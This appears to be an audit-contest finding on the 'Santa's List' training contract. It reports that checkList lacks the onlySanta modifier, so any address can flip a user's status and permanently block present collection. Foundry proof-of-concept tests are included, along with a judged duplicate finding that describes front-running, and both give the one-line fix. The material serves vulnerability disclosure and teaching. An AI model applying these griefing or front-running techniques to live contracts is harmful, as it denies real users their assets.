Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

checkList is missing the onlySanta modifier, allowing anyone to grief any user's status

Description

  • checkList is documented as "Only callable by santa" and its sibling checkTwice correctly enforces this with the onlySanta modifier. Together they implement the protocol's two-step authorisation: Santa sets a status on the once-list, then confirms it on the twice-list. collectPresent requires the two lists to agree, so altering either entry after the fact must be reserved to Santa.

  • checkList is declared external without onlySanta, allowing any address to overwrite any other address's entry in s_theListCheckedOnce. Once Santa has finalized a victim as NICE/EXTRA_NICE on both lists, an attacker calls checkList(victim, NAUGHTY) and the equality check inside collectPresent permanently fails — the victim can never claim their present even though Santa already approved them.

// src/SantasList.sol
@> function checkList(address person, Status status) external { // missing onlySanta
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
function checkTwice(address person, Status status) external onlySanta { // gated
if (s_theListCheckedOnce[person] != status) revert SantasList__SecondCheckDoesntMatchFirst();
s_theListCheckedTwice[person] = status;
...
}

Risk

Likelihood: High — call is free, callable by any EOA at any time, no precondition besides Santa having approved the target.

Impact: Medium — permanent denial-of-service of every legitimate present collection. The victim's NFT is locked behind a check that will never again evaluate to true until Santa re-runs both passes. Santa's authority over the list is broken: any third party can desync once vs twice for everyone the protocol cares about.

Proof of Concept

Place this test in test/SantasListTest.t.sol and run with forge test --mt test_AnyoneCanGriefCheckedUser -vvv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
contract CheckListGriefTest is Test {
SantasList santasList;
address santa = makeAddr("santa");
address goodUser = makeAddr("goodUser");
address attacker = makeAddr("attacker");
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
// Santa legitimately approves goodUser as NICE on both lists.
vm.startPrank(santa);
santasList.checkList(goodUser, SantasList.Status.NICE);
santasList.checkTwice(goodUser, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
}
function test_AnyoneCanGriefCheckedUser() public {
// Sanity: goodUser is legitimately NICE on both lists.
assertEq(uint(santasList.getNaughtyOrNiceOnce(goodUser)), uint(SantasList.Status.NICE));
assertEq(uint(santasList.getNaughtyOrNiceTwice(goodUser)), uint(SantasList.Status.NICE));
// Exploit: attacker (NOT santa) rewrites goodUser's once-list entry.
vm.prank(attacker);
santasList.checkList(goodUser, SantasList.Status.NAUGHTY);
// goodUser's collectPresent now reverts: once=NAUGHTY != twice=NICE.
vm.prank(goodUser);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent();
}
}

Expected output:

[PASS] test_AnyoneCanGriefCheckedUser() (gas: ~55k)

The grief is permanent until Santa re-runs both passes for every affected user, and can be repeated on every newly-approved address.

Recommended Mitigation

Add the onlySanta modifier so checkList matches its documented access control and the sibling checkTwice:

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!